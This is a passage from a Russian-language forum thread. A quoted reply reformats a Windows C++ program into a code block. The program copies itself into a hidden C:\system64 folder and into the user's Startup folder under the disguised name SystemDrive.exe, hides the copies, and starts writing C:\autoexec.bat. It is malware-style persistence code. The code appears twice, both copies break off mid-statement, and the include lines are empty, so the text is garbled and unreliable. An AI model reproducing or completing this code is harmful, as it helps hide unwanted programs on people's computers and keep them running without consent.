[QUOTE="binarymaster"]
binarymaster said:
↑
Ну хотя бы для приличия надо было в теге [CОDE] оформить... пофиксил:
[CODE]
Code:
#include
#include
#include
#include
#include
#include
#include
using namespace std;
int CALLBACK WinMain(
HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
//%appdata%/Microsoft\Windows\Start Menu\Programs\Startup
char dir_pl[1024];
GetModuleFileName(NULL, dir_pl, 1024);
time_t now = time(0);
char* dt = ctime(&now);
char buffer[1024];
GetEnvironmentVariable("APPDATA", (char*)&buffer, sizeof(buffer));
//-------------------------------------------------
CreateDirectory("C:\\system64", NULL);
SetFileAttributes("C:\\system64", FILE_ATTRIBUTE_HIDDEN);
//-------------------------------------------------
CopyFile(dir_pl, "C:\\system64\\sys.exe", FALSE);
CopyFile(dir_pl, strcat(buffer, "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SystemDrive.exe"), FALSE);
SetFileAttributes(strcat(buffer, "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SystemDrive.exe"), FILE_ATTRIBUTE_HIDDEN);
//-------------------------------------------------
ofstream fut("C:\\autoexec.bat");
fut
#include
#include
#include
#include
#include
#include
using namespace std;
int CALLBACK WinMain(
HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
//%appdata%/Microsoft\Windows\Start Menu\Programs\Startup
char dir_pl[1024];
GetModuleFileName(NULL, dir_pl, 1024);
time_t now = time(0);
char* dt = ctime(&now);
char buffer[1024];
GetEnvironmentVariable("APPDATA", (char*)&buffer, sizeof(buffer));
//-------------------------------------------------
CreateDirectory("C:\\system64", NULL);
SetFileAttributes("C:\\system64", FILE_ATTRIBUTE_HIDDEN);
//-------------------------------------------------
CopyFile(dir_pl, "C:\\system64\\sys.exe", FALSE);
CopyFile(dir_pl, strcat(buffer, "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SystemDrive.exe"), FALSE);
SetFileAttributes(strcat(buffer, "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SystemDrive.exe"), FILE_ATTRIBUTE_HIDDEN);
//-------------------------------------------------
ofstream fut("C:\\autoexec.bat");
fut